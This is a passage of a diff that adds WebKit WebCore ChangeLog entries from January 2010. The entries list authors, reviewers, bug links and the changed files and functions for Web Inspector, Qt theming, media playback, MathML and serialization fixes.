+        (WebCore::RenderBox::calcAbsoluteHorizontalValues):
+        (WebCore::RenderBox::calcAbsoluteVerticalValues):
+        (WebCore::RenderBox::calcAbsoluteHorizontalReplaced):
+        (WebCore::RenderBox::calcAbsoluteVerticalReplaced):
+        * rendering/RenderLayer.cpp:
+        (WebCore::RenderLayer::scrollByRecursively):
+        (WebCore::RenderLayer::paintLayer):
+        (WebCore::RenderLayer::hitTestLayer):
+        * rendering/RenderObject.cpp:
+        (WebCore::RenderObject::destroy):
+        * rendering/RenderTextControl.cpp:
+        (WebCore::RenderTextControl::setInnerTextValue):
+        * rendering/RenderTheme.cpp:
+        (WebCore::RenderTheme::stateChanged):
+        * rendering/SVGRenderSupport.cpp:
+        (WebCore::SVGRenderBase::mapLocalToContainer):
+        * rendering/SVGRootInlineBox.cpp:
+        (WebCore::SVGRootInlineBox::buildTextChunks):
+        * rendering/TransformState.cpp:
+        (WebCore::TransformState::flattenWithTransform):
+        * wml/WMLInputElement.cpp:
+        (WebCore::WMLInputElement::dispatchBlurEvent):
+        (WebCore::WMLInputElement::suggestedValue):
+
+2010-01-25  Geoffrey Garen  <ggaren@apple.com>
+
+        Suggested by Darin Adler.
+
+        Fixed a spelling error, tightened up some grammar.
+
+        * bindings/js/JSDOMBinding.cpp:
+        (WebCore::forgetDOMObject):
+        (WebCore::forgetDOMNode):
+
+2010-01-25  Yury Semikhatsky  <yurys@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Instead of adding inspector methods to the inspected global objects
+        use private implementation visible from inspector code only.
+        https://bugs.webkit.org/show_bug.cgi?id=34089
+
+        Test: inspector/inspected-objects-not-overriden.html
+
+        * inspector/front-end/InjectedScript.js:
+        (injectedScriptConstructor):
+
+2010-01-25  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: don't show headers/content tabs in scripts view.
+
+        https://bugs.webkit.org/show_bug.cgi?id=34083
+
+        * inspector/front-end/ResourceView.js:
+        (WebInspector.ResourceView):
+        (WebInspector.ResourceView.prototype.set headersVisible):
+        (WebInspector.ResourceView.prototype._selectContentTab):
+        (WebInspector.ResourceView.prototype._innerSelectContentTab):
+        * inspector/front-end/ResourcesPanel.js:
+        (WebInspector.ResourcesPanel.prototype.show):
+        (WebInspector.ResourcesPanel.prototype.recreateViewForResourceIfNeeded):
+        (WebInspector.ResourcesPanel.prototype.showResource):
+        * inspector/front-end/ScriptsPanel.js:
+        (WebInspector.ScriptsPanel.prototype.show):
+        (WebInspector.ScriptsPanel.prototype._showScriptOrResource):
+        * inspector/front-end/inspector.css:
+
+2010-01-25  Simon Hausmann  <hausmann@webkit.org>
+
+        Reviewed by Kenneth Rohde Christiansen.
+
+        [Qt] Reduce the size of the library when compiling for Maemo5
+        https://bugs.webkit.org/show_bug.cgi?id=34050
+
+        Exclude the Web Inspector's qrc file in the Maemo5 build, just
+        like we do for the Symbian build. Saves about ~900k.
+
+        * WebCore.pro:
+
+2010-01-25  Simon Hausmann  <hausmann@webkit.org>
+
+        Reviewed by Kenneth Rohde Christiansen.
+
+        [Qt] In the StyledPainter determine the style from the Render and Scrollbar theme instead of from the paint device
+        https://bugs.webkit.org/show_bug.cgi?id=34054
+
+        Getting the style from the painter's paint device is a hack that breaks when
+        the paint device's style is different than the style that is used when
+        calculating the metries earlier when there is no painter available.
+
+        This change moves us closer to always using the same style.
+
+        * platform/qt/RenderThemeQt.cpp:
+        (WebCore::StylePainter::StylePainter):
+        (WebCore::StylePainter::init):
+        (WebCore::RenderThemeQt::paintButton):
+        (WebCore::RenderThemeQt::paintTextField):
+        (WebCore::RenderThemeQt::paintMenuList):
+        (WebCore::RenderThemeQt::paintMenuListButton):
+        (WebCore::RenderThemeQt::paintSliderTrack):
+        (WebCore::RenderThemeQt::paintMediaMuteButton):
+        (WebCore::RenderThemeQt::paintMediaPlayButton):
+        (WebCore::RenderThemeQt::paintMediaSliderTrack):
+        (WebCore::RenderThemeQt::paintMediaSliderThumb):
+        * platform/qt/RenderThemeQt.h:
+        * platform/qt/ScrollbarThemeQt.cpp:
+        (WebCore::ScrollbarThemeQt::paint):
+        (WebCore::ScrollbarThemeQt::hitTest):
+        (WebCore::ScrollbarThemeQt::shouldCenterOnThumb):
+        (WebCore::ScrollbarThemeQt::scrollbarThickness):
+        (WebCore::ScrollbarThemeQt::thumbLength):
+        (WebCore::ScrollbarThemeQt::trackPosition):
+        (WebCore::ScrollbarThemeQt::trackLength):
+        (WebCore::ScrollbarThemeQt::paintScrollCorner):
+        (WebCore::ScrollbarThemeQt::style):
+        * platform/qt/ScrollbarThemeQt.h:
+
+2010-01-25  Simon Hausmann  <hausmann@webkit.org>
+
+        Reviewed by Kenneth Rohde Christiansen.
+
+        [Qt] In RenderThemeQt determine the QStyle from the page client instead of the page's view
+        https://bugs.webkit.org/show_bug.cgi?id=34053
+
+        * platform/qt/QWebPageClient.h: Add function to return the style.
+        * platform/qt/RenderThemeQt.cpp:
+        (WebCore::RenderThemeQt::qStyle): Determine the style from the page client instead of the page's view.
+
+2010-01-25  Simon Hausmann  <hausmann@webkit.org>
+
+        Reviewed by Kenneth Christiansen.
+
+        [Qt] Clean up code to determine palette from page client in RenderThemeQt
+        https://bugs.webkit.org/show_bug.cgi?id=34052
+
+        Use the RenderTheme's associated page instead of going through the
+        render tree and the document.
+
+        * platform/qt/RenderThemeQt.cpp:
+        (WebCore::RenderThemeQt::setPaletteFromPageClientIfExists):
+        (WebCore::RenderThemeQt::initializeCommonQStyleOptions):
+        * platform/qt/RenderThemeQt.h:
+
+2010-01-25  Janne Koskinen  <janne.p.koskinen@digia.com>
+
+        Reviewed by Simon Hausmann.
+
+        [Qt] Phone backup support for QtWebkit for Symbian devices.
+        https://bugs.webkit.org/show_bug.cgi?id=34077
+
+        * WebCore.pro:
+
+2010-01-25  Benjamin Poulain  <benjamin.poulain@nokia.com>
+
+        Reviewed by Antti Koivisto.
+
+        Do not render the full frame when there is some elements with fixed positioning
+        https://bugs.webkit.org/show_bug.cgi?id=33150
+
+        Do not render the full frame when there is some elements with fixed positioning
+        https://bugs.webkit.org/show_bug.cgi?id=33150
+
+        * page/FrameView.cpp:
+        (WebCore::FrameView::useSlowRepaints):
+        (WebCore::FrameView::useSlowRepaintsIfNotOverlapped):
+        (WebCore::FrameView::registerFixedPositionedObject):
+        (WebCore::FrameView::unregisterFixedPositionedObject):
+        (WebCore::FrameView::scrollContentsFastPath):
+        * page/FrameView.h:
+        * platform/ScrollView.cpp:
+        (WebCore::ScrollView::scrollContents):
+        (WebCore::ScrollView::scrollContentsFastPath):
+        * platform/ScrollView.h:
+        * rendering/RenderObject.cpp:
+        (WebCore::RenderObject::styleWillChange):
+        (WebCore::RenderObject::destroy):
+
+2010-01-24  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Add support for addMessage/clearMessages to SourceFrame2.
+
+        https://bugs.webkit.org/show_bug.cgi?id=33904
+
+        * WebCore.gypi:
+        * WebCore.vcproj/WebCore.vcproj:
+        * inspector/front-end/SourceFrame2.js:
+        (WebInspector.SourceFrame2):
+        (WebInspector.SourceFrame2.prototype.addMessage):
+        (WebInspector.SourceFrame2.prototype.clearMessages):
+        (WebInspector.SourceFrame2.prototype._incrementMessageRepeatCount):
+        (WebInspector.SourceFrame2.prototype._addExistingMessagesToSource):
+        (WebInspector.SourceFrame2.prototype._addMessageToSource):
+        (WebInspector.SourceFrame2.prototype.resize):
+        * inspector/front-end/TextEditor.js:
+        (WebInspector.TextEditor):
+        (WebInspector.TextEditor.prototype.setDivDecoration):
+        (WebInspector.TextEditor.prototype._lineHeight):
+        (WebInspector.TextEditor.prototype._highlightChanged):
+        (WebInspector.TextEditor.prototype.packAndRepaintAll):
+        (WebInspector.TextEditor.prototype._updateSize):
+        (WebInspector.TextEditor.prototype._repaintAll):
+        (WebInspector.TextEditor.prototype._paint):
+        (WebInspector.TextEditor.prototype._paintLinesContinuation):
+        (WebInspector.TextEditor.prototype._mouseOut):
+        (WebInspector.TextEditor.prototype._updateDivDecorations):
+        (WebInspector.TextEditor.prototype._positionDivDecoration):
+        (WebInspector.TextEditor.prototype._paintSelection):
+        (WebInspector.TextEditor.prototype._replaceSelectionWith):
+        * inspector/front-end/TextEditorHighlighter.js:
+        (WebInspector.TextEditorHighlighter.prototype.updateHighlight):
+        * inspector/front-end/WebKit.qrc:
+        * inspector/front-end/inspector.css:
+        * inspector/front-end/inspector.html:
+        * inspector/front-end/textEditor.css: Added.
+
+2010-01-24  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Replace split pane with tabbed pane in resource
+        contents view.
+
+        https://bugs.webkit.org/show_bug.cgi?id=32453
+
+        * inspector/front-end/ResourceView.js:
+        (WebInspector.ResourceView):
+        (WebInspector.ResourceView.prototype.attach):
+        (WebInspector.ResourceView.prototype.show):
+        (WebInspector.ResourceView.prototype._selectTab):
+        (WebInspector.ResourceView.prototype._selectHeadersTab):
+        (WebInspector.ResourceView.prototype._selectContentTab):
+        * inspector/front-end/ResourcesPanel.js:
+        (WebInspector.ResourcesPanel.prototype.show):
+        (WebInspector.ResourcesPanel.prototype.recreateViewForResourceIfNeeded):
+        (WebInspector.ResourcesPanel.prototype.showResource):
+        * inspector/front-end/ScriptsPanel.js:
+        (WebInspector.ScriptsPanel.prototype.show):
+        (WebInspector.ScriptsPanel.prototype._showScriptOrResource):
+        * inspector/front-end/Settings.js:
+        (WebInspector.Settings.prototype._load):
+        * inspector/front-end/SourceFrame.js:
+        (WebInspector.SourceFrame.prototype._loaded):
+        * inspector/front-end/SourceView.js:
+        (WebInspector.SourceView):
+        * inspector/front-end/inspector.css:
+
+2010-01-24  Eric Carlson  <eric.carlson@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        Media element duration changes to zero after playing in reverse
+        https://bugs.webkit.org/show_bug.cgi?id=34041
+
+        Test: media/video-reverse-play-duration.html
+
+        * platform/graphics/mac/MediaPlayerPrivateQTKit.mm:
+        (WebCore::MediaPlayerPrivate::didEnd): QTKit's ended notification fires at time zero when 
+        playing in reverse, so don't reset duration in that case.
+
+2010-01-24  Maciej Stachowiak  <mjs@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        Content with heavily nested residual style is so slow, it seems like a hang
+        https://bugs.webkit.org/show_bug.cgi?id=34059
+        <rdar://problem/7292906>
+        
+        Test cast: fast/parser/residual-style-hang.html
+
+        * html/HTMLParser.cpp:
+        (WebCore::HTMLParser::handleResidualStyleCloseTagAcrossBlocks):
+        Limit the number of iterations of the main loop to 5.
+        
+        The reason this limit is necessary is that otherwise, N misnested open tags followed
+        by N misnested close tags will cause O(N^2) of work due to cloning and attaching subtrees;
+        at a fixed limit, the cost is at worst O(N).
+        
+        The code that was in the loop originally ran exactly once - the loop was added in
+        r21472 to fix <https://bugs.webkit.org/show_bug.cgi?id=13603>. I have verified that
+        with the iteration limit, the bug is still fixed, both with the original test case
+        and with the layout tests tht were added.
+
+2010-01-24  Kent Tamura  <tkent@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        HTMLInputElement::valueAsDate setter support for type=week.
+        https://bugs.webkit.org/show_bug.cgi?id=33986
+
+        Introduce ISODateTime::setMillisecondsSinceEpochForWeek() and add
+        Week type support to ISODateTime::toString().
+
+        * html/HTMLInputElement.cpp:
+        (WebCore::HTMLInputElement::valueAsDate): Avoid default:.
+        (WebCore::HTMLInputElement::setValueAsDate):
+          Add WEEK type handling and avoid default:.
+        * html/ISODateTime.cpp:
+        (WebCore::offsetTo1stWeekStart):
+        (WebCore::ISODateTime::setMillisecondsSinceEpochForWeek):
+        (WebCore::ISODateTime::millisecondsSinceEpoch):
+        (WebCore::ISODateTime::toString):
+          Add Week type support and avoid default:.
+        * html/ISODateTime.h:
+
+2010-01-24  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Darin Adler.
+
+        Object Serialization assumes deserialization will always occur in the context of a webpage
+        https://bugs.webkit.org/show_bug.cgi?id=34056
+        rdar://7573833
+
+        Added ClassInfo to JSDOMGlobalObject and make the window and worker class info
+        inherit from it.  With this in place we're able to determine whether a given
+        global object is a DOMGlobalObject, and then use that information to avoid
+        attempting to deserialize types that require the presence of the DOM.
+
+        No test as all global objects in webkit inherit from JSDOMGlobalObject.
+
+        * bindings/js/JSDOMGlobalObject.cpp:
+        (WebCore::):
+        * bindings/js/JSDOMGlobalObject.h:
+        (WebCore::JSDOMGlobalObject::classInfo):
+        * bindings/js/JSDOMWindowBase.cpp:
+        (WebCore::):
+        * bindings/js/JSWorkerContextBase.cpp:
+        (WebCore::):
+        * bindings/js/SerializedScriptValue.cpp:
+        (WebCore::DeserializingTreeWalker::DeserializingTreeWalker):
+        (WebCore::DeserializingTreeWalker::convertIfTerminal):
+
+2010-01-24  Eric Carlson  <eric.carlson@apple.com>
+
+        Reviewed by Simon Fraser.
+
+        https://bugs.webkit.org/show_bug.cgi?id=34047
+        <rdar://problem/7573699>
+        Media element "endedPlayback" logic doesn't match spec
+
+        Test: media/video-timeupdate-reverse-play.html
+
+        * html/HTMLMediaElement.cpp:
+        (WebCore::HTMLMediaElement::ended): The 'ended' attribute should only be true when playback
+        rate is positive.
+        (WebCore::HTMLMediaElement::mediaPlayerTimeChanged): Always schedule a 'timeupdate' event when
+        the media engine signals a time discontinuity, scheduleTimeupdateEvent will only queue an event
+        if one hasn't already been posted for the current movie time.
+        (WebCore::HTMLMediaElement::endedPlayback): Update to match the spec logic.
+
+2010-01-23  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Darin Adler.
+
+        Video that loads inside reflection doesn't get reflected
+        https://bugs.webkit.org/show_bug.cgi?id=34046
+        
+        ensureCloneLayers() made an incorrect assumption that if a clone of the primaryLayer
+        exists already, then the structural layer and content layer can just be returned.
+        However, this doesn't account for the situation where a content layer may have
+        been create after the clone tree was last updated.
+        
+        Fix by always creating the structural and clone layers on demand.
+
+        Test: compositing/reflections/load-video-in-reflection.html
+
+        * platform/graphics/mac/GraphicsLayerCA.h: Added utility method, findOrMakeClone().
+        * platform/graphics/mac/GraphicsLayerCA.mm:
+        (WebCore::GraphicsLayerCA::findOrMakeClone): Utility that efficiently finds
+        or creates a layer in a LayerMap.
+        (WebCore::GraphicsLayerCA::ensureCloneLayers): Always look for or clone the
+        structural and content layers, rather than relying on whether there's a primary
+        layer clone already.
+
+2010-01-23  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Maciej Stachowiak.
+
+        Implement support for FileList cloning in postMessage
+        https://bugs.webkit.org/show_bug.cgi?id=34048
+
+        Support passing FileList through postMessage APIs.  Basically
+        mechanical task in line with other terminals in the object
+        graph.
+
+        * bindings/js/SerializedScriptValue.cpp:
+        (WebCore::SerializedFileList::create):
+        (WebCore::SerializedFileList::length):
+        (WebCore::SerializedFileList::item):
+        (WebCore::SerializedFileList::SerializedFileList):
+        (WebCore::SerializedScriptValueData::SerializedScriptValueData):
+        (WebCore::SharedSerializedData::asFileList):
+        (WebCore::SerializingTreeWalker::convertIfTerminal):
+        (WebCore::DeserializingTreeWalker::convertIfTerminal):
+        (WebCore::TeardownTreeWalker::convertIfTerminal):
+            Rearrange these functions to not use 'default:' handling
+            so that the compiler will actually tell us when we're
+            not handling cases.
+        * bindings/js/SerializedScriptValue.h:
+        (WebCore::SerializedScriptValueData::):
+        (WebCore::SerializedScriptValueData::asFileList):
+
+2010-01-23  Yury Semikhatsky  <yurys@chromium.org>
+
+        Reviewed by Pavel Feldman.
+
+        Inject inspector script directly into the inspected context. All the
+        communication between the script and the frontend is serialized into
+        JSON strings. It allows to get rid of object quarantines in Web Inspector.
+
+        https://bugs.webkit.org/show_bug.cgi?id=32554
+
+        Test: inspector/console-log-before-inspector-open.html
+
+        * bindings/js/JSInjectedScriptHostCustom.cpp:
+        (WebCore::JSInjectedScriptHost::databaseForId):
+        (WebCore::JSInjectedScriptHost::currentCallFrame):
+        (WebCore::JSInjectedScriptHost::nodeForId):
+        (WebCore::JSInjectedScriptHost::pushNodePathToFrontend):
+        (WebCore::JSInjectedScriptHost::selectDatabase):
+        (WebCore::JSInjectedScriptHost::selectDOMStorage):
+        * bindings/js/ScriptCallStack.h:
+        (WebCore::ScriptCallStack::globalState):
+        * bindings/js/ScriptController.cpp:
+        (WebCore::ScriptController::mainWorldScriptState):
+        * bindings/js/ScriptController.h:
+        * bindings/js/ScriptObject.h:
+        (WebCore::ScriptObject::scriptState):
+        * bindings/js/ScriptValue.cpp:
+        * bindings/js/ScriptValue.h:
+        * bindings/v8/ScriptCallStack.h:
+        (WebCore::ScriptCallStack::globalState):
+        * bindings/v8/ScriptObject.h:
+        (WebCore::ScriptObject::scriptState):
+        * bindings/v8/ScriptValue.h:
+        * bindings/v8/custom/V8InjectedScriptHostCustom.cpp:
+        * inspector/ConsoleMessage.cpp:
+        (WebCore::ConsoleMessage::ConsoleMessage):
+        (WebCore::ConsoleMessage::addToConsole):
+        (WebCore::ConsoleMessage::isEqual):
+        * inspector/ConsoleMessage.h:
+        * inspector/InjectedScriptHost.cpp:
+        (WebCore::InjectedScriptHost::releaseWrapperObjectGroup):
+        * inspector/InjectedScriptHost.h:
+        * inspector/InjectedScriptHost.idl:
+        * inspector/InspectorBackend.cpp:
+        (WebCore::InspectorBackend::setInjectedScriptSource):
+        (WebCore::InspectorBackend::dispatchOnInjectedScript):
+        (WebCore::InspectorBackend::releaseWrapperObjectGroup):
+        * inspector/InspectorBackend.h:
+        * inspector/InspectorBackend.idl:
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::InspectorController):
+        (WebCore::InspectorController::clearConsoleMessages):
+        (WebCore::InspectorController::inspectedWindowScriptObjectCleared):
+        (WebCore::InspectorController::windowScriptObjectAvailable):
+        (WebCore::InspectorController::scriptObjectReady):
+        (WebCore::InspectorController::setFrontendProxyObject):
+        (WebCore::InspectorController::close):
+        (WebCore::InspectorController::resetScriptObjects):
+        (WebCore::InspectorController::didPause):
+        (WebCore::InspectorController::injectedScriptForNodeId):
+        * inspector/InspectorController.h:
+        * inspector/InspectorFrontend.cpp:
+        (WebCore::InspectorFrontend::addConsoleMessage):
+        (WebCore::InspectorFrontend::pausedScript):
+        * inspector/InspectorFrontend.h:
+        * inspector/front-end/AuditsPanel.js:
+        (WebInspector.AuditsPanel.prototype._reloadResources):
+        * inspector/front-end/ConsoleView.js:
+        (WebInspector.ConsoleView.prototype.requestClearMessages):
+        (WebInspector.ConsoleView.prototype.doEvalInWindow):
+        * inspector/front-end/DOMAgent.js:
+        (WebInspector.DOMNode):
+        (WebInspector.CSSStyleDeclaration):
+        (WebInspector.CSSStyleDeclaration.parseRule):
+        * inspector/front-end/Database.js:
+        (WebInspector.Database.prototype.executeSql):
+        * inspector/front-end/ElementsPanel.js:
+        (WebInspector.ElementsPanel.this.treeOutline.focusedNodeChanged.InjectedScriptAccess.get addInspectedNode):
+        (WebInspector.ElementsPanel.this.treeOutline.focusedNodeChanged):
+        (WebInspector.ElementsPanel.prototype.setDocument):
+        (WebInspector.ElementsPanel.prototype.searchCanceled):
+        (WebInspector.ElementsPanel.prototype.performSearch):
+        * inspector/front-end/ElementsTreeOutline.js:
+        (WebInspector.ElementsTreeElement.prototype.createTooltipForImageNode):
+        * inspector/front-end/EventListenersSidebarPane.js:
+        ():
+        * inspector/front-end/InjectedScript.js:
+        (injectedScriptConstructor):
+        (injectedScriptConstructor.):
+        * inspector/front-end/InjectedScriptAccess.js:
+        (InjectedScriptAccess):
+        (InjectedScriptAccess.getDefault):
+        (get InjectedScriptAccess):
+        (InjectedScriptAccess._installHandler.InjectedScriptAccess.prototype.methodName):
+        (InjectedScriptAccess._installHandler):
+        * inspector/front-end/MetricsSidebarPane.js:
+        (WebInspector.MetricsSidebarPane):
+        (WebInspector.MetricsSidebarPane.prototype.update.inlineStyleCallback):
+        * inspector/front-end/ObjectPropertiesSection.js:
+        * inspector/front-end/ObjectProxy.js:
+        (WebInspector.ObjectProxy):
+        * inspector/front-end/PropertiesSidebarPane.js:
+        (WebInspector.PropertiesSidebarPane.prototype.update.callback):
+        * inspector/front-end/ResourcesPanel.js:
+        (WebInspector.ResourceSidebarTreeElement.prototype.ondblclick):
+        * inspector/front-end/ScriptsPanel.js:
+        * inspector/front-end/StylesSidebarPane.js:
+        (WebInspector.StylePropertyTreeElement.prototype):
+        * inspector/front-end/WatchExpressionsSidebarPane.js:
+        (WebInspector.WatchExpressionsSection.prototype.update):
+        * inspector/front-end/inspector.js:
+        (WebInspector.loaded):
+        (WebInspector.pausedScript):
+        (WebInspector.addConsoleMessage):
+        (WebInspector.log.logMessage):
+        (WebInspector.log):
+
+2010-01-22  Alex Milowski  <alex@milowski.com>
+
+        Reviewed by David Hyatt.
+
+        Added support for RenderMathMLBlock base object and isRenderMathMLBlock()
+        method on RenderObject. 
+
+        Added support for text elements and updated tag and attribute names
+
+        Also, updated the stylesheet added files to the project
+
+        * DerivedSources.make:
+        * WebCore.xcodeproj/project.pbxproj:
+        * css/mathml.css:
+        * mathml/MathMLInlineContainerElement.cpp:
+        (WebCore::MathMLInlineContainerElement::createRenderer):
+        * mathml/MathMLTextElement.cpp: Added.
+        (WebCore::MathMLTextElement::MathMLTextElement):
+        (WebCore::MathMLTextElement::create):
+        (WebCore::MathMLTextElement::createRenderer):
+        * mathml/MathMLTextElement.h: Added.
+        * mathml/RenderMathMLBlock.cpp: Added.
+        (WebCore::RenderMathMLBlock::RenderMathMLBlock):
+        (WebCore::RenderMathMLBlock::styleDidChange):
+        (WebCore::RenderMathMLBlock::isChildAllowed):
+        (WebCore::RenderMathMLBlock::makeBlockStyle):
+        (WebCore::RenderMathMLBlock::nonOperatorHeight):
+        (WebCore::RenderMathMLBlock::stretchToHeight):
+        * mathml/RenderMathMLBlock.h: Added.
+        (WebCore::RenderMathMLBlock::isRenderMathMLBlock):
+        (WebCore::RenderMathMLBlock::isRenderMathMLOperator):
+        (WebCore::RenderMathMLBlock::isRenderMathMLRow):
+        (WebCore::RenderMathMLBlock::isRenderMathMLMath):
+        (WebCore::RenderMathMLBlock::hasBase):
+        (WebCore::toRenderMathMLBlock):
+        * mathml/mathattrs.in: Added.
+        * rendering/RenderObject.h:
+        (WebCore::RenderObject::isRenderMathMLBlock):
+
+2010-01-22  James Robinson  <jamesr@chromium.org>
+
+        Reviewed by Alexey Proskuryakov.
+
+        Ensures that the 'selected' attribute of an <option> is correct
+        https://bugs.webkit.org/show_bug.cgi?id=32641
+
+        Adds a check in OptionElement::selected() that checks if list items need to be recalculated and does so if needed,
+        so the attribute is up to date more often.  Also gets rid of most of the recalcStyle() side effects.
+
+         Our behavior now matches Firefox 3.5 and IE8 after the </select> is parsed.
+
+         Tests: fast/forms/HTMLOptionElement_selected2.html
+                fast/forms/HTMLOptionElement_selected3.html
+
+        * dom/SelectElement.cpp:
+        (WebCore::SelectElement::setOptionsChangedOnRenderer):
+        (WebCore::SelectElement::setRecalcListItems):
+        (WebCore::SelectElement::recalcListItems):
+        (WebCore::SelectElement::restoreFormControlState):
+        (WebCore::SelectElement::reset):
+        (WebCore::SelectElement::typeAheadFind):
+        * dom/SelectElement.h:
+        * html/HTMLOptionElement.cpp:
+        (WebCore::HTMLOptionElement::selected):
+        (WebCore::HTMLOptionElement::insertedIntoTree):
+        * html/HTMLSelectElement.cpp:
+        (WebCore::HTMLSelectElement::recalcStyle):
+        (WebCore::HTMLSelectElement::recalcListItemsIfNeeded):
+        * html/HTMLSelectElement.h:
+        * wml/WMLSelectElement.cpp:
+        (WebCore::WMLSelectElement::recalcStyle):
+
+2010-01-22  Chris Rogers  <crogers@google.com>
+
+        Reviewed by Eric Seidel.
+
+        Need to handle WebGLUnsignedByteArray as method argument for V8 binding
+        https://bugs.webkit.org/show_bug.cgi?id=33929
+
+        V8 code generator does not have associated tests
+
+        * bindings/scripts/CodeGeneratorV8.pm:
+
+2010-01-22  Elliot Glaysher  <erg@chromium.org>
+
+        Reviewed by David Levin.
+
+        Chromium: theme selection colors to match gtk theme
+        Add functions to RenderThemeChromiumLinux to change the selection color
+        according to the current GTK+ theme.
+
+        Since the change is to the Chromium WebKit API layer, testing is done
+        in Chromium's test shell (see Chromium side of this patch:
+        http://codereview.chromium.org/554004)
+
+        https://bugs.webkit.org/show_bug.cgi?id=33921
+
+        * rendering/RenderThemeChromiumLinux.cpp:
+        (WebCore::RenderThemeChromiumLinux::platformActiveSelectionBackgroundColor):
+        (WebCore::RenderThemeChromiumLinux::platformInactiveSelectionBackgroundColor):
+        (WebCore::RenderThemeChromiumLinux::platformActiveSelectionForegroundColor):
+        (WebCore::RenderThemeChromiumLinux::platformInactiveSelectionForegroundColor):
+        (WebCore::RenderThemeChromiumLinux::setSelectionColors):
+        * rendering/RenderThemeChromiumLinux.h: Adds static members.
+
+2010-01-22  Kevin Watters  <kevinwatters@gmail.com>
+
+        Reviewed by Kevin Ollivier.
+
+        [wx] Remove the Bakefile build system, which is no longer being used.
+        
+        https://bugs.webkit.org/show_bug.cgi?id=34022
+
+        * WebCoreSources.bkl: Removed.
+        * webcore-base.bkl: Removed.
+        * webcore-wx.bkl: Removed.
+
+2010-01-22  Peter Kasting  <pkasting@google.com>
+
+        Reviewed by Darin Adler.
+
+        Remove unnecessary copy of zlib.
+        https://bugs.webkit.org/show_bug.cgi?id=34028
+
+        * platform/image-decoders/zlib: Removed.
+        * platform/image-decoders/zlib/adler32.c: Removed.
+        * platform/image-decoders/zlib/compress.c: Removed.
+        * platform/image-decoders/zlib/crc32.c: Removed.
+        * platform/image-decoders/zlib/crc32.h: Removed.
+        * platform/image-decoders/zlib/deflate.c: Removed.
+        * platform/image-decoders/zlib/deflate.h: Removed.
+        * platform/image-decoders/zlib/gzio.c: Removed.
+        * platform/image-decoders/zlib/infback.c: Removed.
+        * platform/image-decoders/zlib/inffast.c: Removed.
+        * platform/image-decoders/zlib/inffast.h: Removed.
+        * platform/image-decoders/zlib/inffixed.h: Removed.
+        * platform/image-decoders/zlib/inflate.c: Removed.
+        * platform/image-decoders/zlib/inflate.h: Removed.
+        * platform/image-decoders/zlib/inftrees.c: Removed.
+        * platform/image-decoders/zlib/inftrees.h: Removed.
+        * platform/image-decoders/zlib/mozzconf.h: Removed.
+        * platform/image-decoders/zlib/trees.c: Removed.
+        * platform/image-decoders/zlib/trees.h: Removed.
+        * platform/image-decoders/zlib/uncompr.c: Removed.
+        * platform/image-decoders/zlib/zconf.h: Removed.
+        * platform/image-decoders/zlib/zlib.h: Removed.
+        * platform/image-decoders/zlib/zutil.c: Removed.
+        * platform/image-decoders/zlib/zutil.h: Removed.
+
+2010-01-22  Steve Falkenburg  <sfalken@apple.com>
+
+        Reviewed by Darin Adler.
+
+        https://bugs.webkit.org/show_bug.cgi?id=34025
+        Enable client-based Geolocation abstraction for Mac, Windows AppleWebKit targets.
+
+        * Configurations/FeatureDefines.xcconfig:
+        * DerivedSources.make:
+
+2010-01-22  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Eric Carlson.
+
+        Race condition in video setup can force videos into software mode
+        https://bugs.webkit.org/show_bug.cgi?id=34034
+
+        We used to call setUpVideoRendering() unconditionally from
+        acceleratedRenderingStateChanged(); this could happen before the movie had any
+        data, and thus force the movie into software rendering mode.
+        
+        Fix by returning early from setUpVideoRendering() if isReadyForRendering() returns false,
+        which also allows us to remove some other checks for being ready to render.
+        
+        Timing dependent, hard to make a test for.
+
+        * platform/graphics/mac/GraphicsLayerCA.mm:
+        (WebCore::GraphicsLayerCA::setContentsToMedia): Optimize to do an early return
+        if passing in the same layer that is already being used.
+        
+        * platform/graphics/mac/MediaPlayerPrivateQTKit.mm:
+        (WebCore::MediaPlayerPrivate::setUpVideoRendering): Return without doing anything
+        if not ready to render.
+        (WebCore::MediaPlayerPrivate::updateStates): No need to call isReadyForRendering()
+        any more, since setUpVideoRendering() does that.
+        (WebCore::MediaPlayerPrivate::setVisible): No need to check the ready state; this
+        is equivalent to the check inside of setUpVideoRendering().
+
+2010-01-22  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        REGRESSION (r53110): Find My iPhone message dialog is offset from original position once it gets focus
+        https://bugs.webkit.org/show_bug.cgi?id=33821
+
+        Fix an issue with the geometry of fixed position, composited layers inside other
+        composited layers. If we called convertToLayerCoords() on a fixed layer with an ancestor
+        layer which is not the root, then we assumed that the fixed layer had a positioning root.
+        However, this is not always the case, since the fixed layer may have a compositing ancestor
+        which is not a fixed container.
+        
+        Test: compositing/geometry/fixed-in-composited.html
+
+        * rendering/RenderLayer.cpp:
+        (WebCore::isFixedPositionedContainer): Utility function to test whether a layer acts
+        as a fixed position container.
+        
+        (WebCore::RenderLayer::convertToLayerCoords): When called on a fixed position layer
+        for an ancestor layer that is not the root, compute the correct offsets by looking for
+        the fixed position container, and computing offsets relative to that. If the ancestorLayer
+        is the fixed position container, fall through to the existing code that is shared
+        with absolutely positioned layers.
+
+2010-01-22  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        webkitConvertPointFromNodeToPage doesn't take into account most recent transform style
+        https://bugs.webkit.org/show_bug.cgi?id=34023
+
+        Be sure to call updateLayoutIgnorePendingStylesheets() before doing point mapping,
+        to apply any style changes since the last layout.
+
+        Test: fast/dom/Window/webkitConvertPointUpdateLayout.html
+
+        * page/DOMWindow.cpp:
+        (WebCore::DOMWindow::webkitConvertPointFromNodeToPage): Call updateLayoutIgnorePendingStylesheets().
+        (WebCore::DOMWindow::webkitConvertPointFromPageToNode): Ditto.
+
+2010-01-22  Maciej Stachowiak  <mjs@apple.com>
+
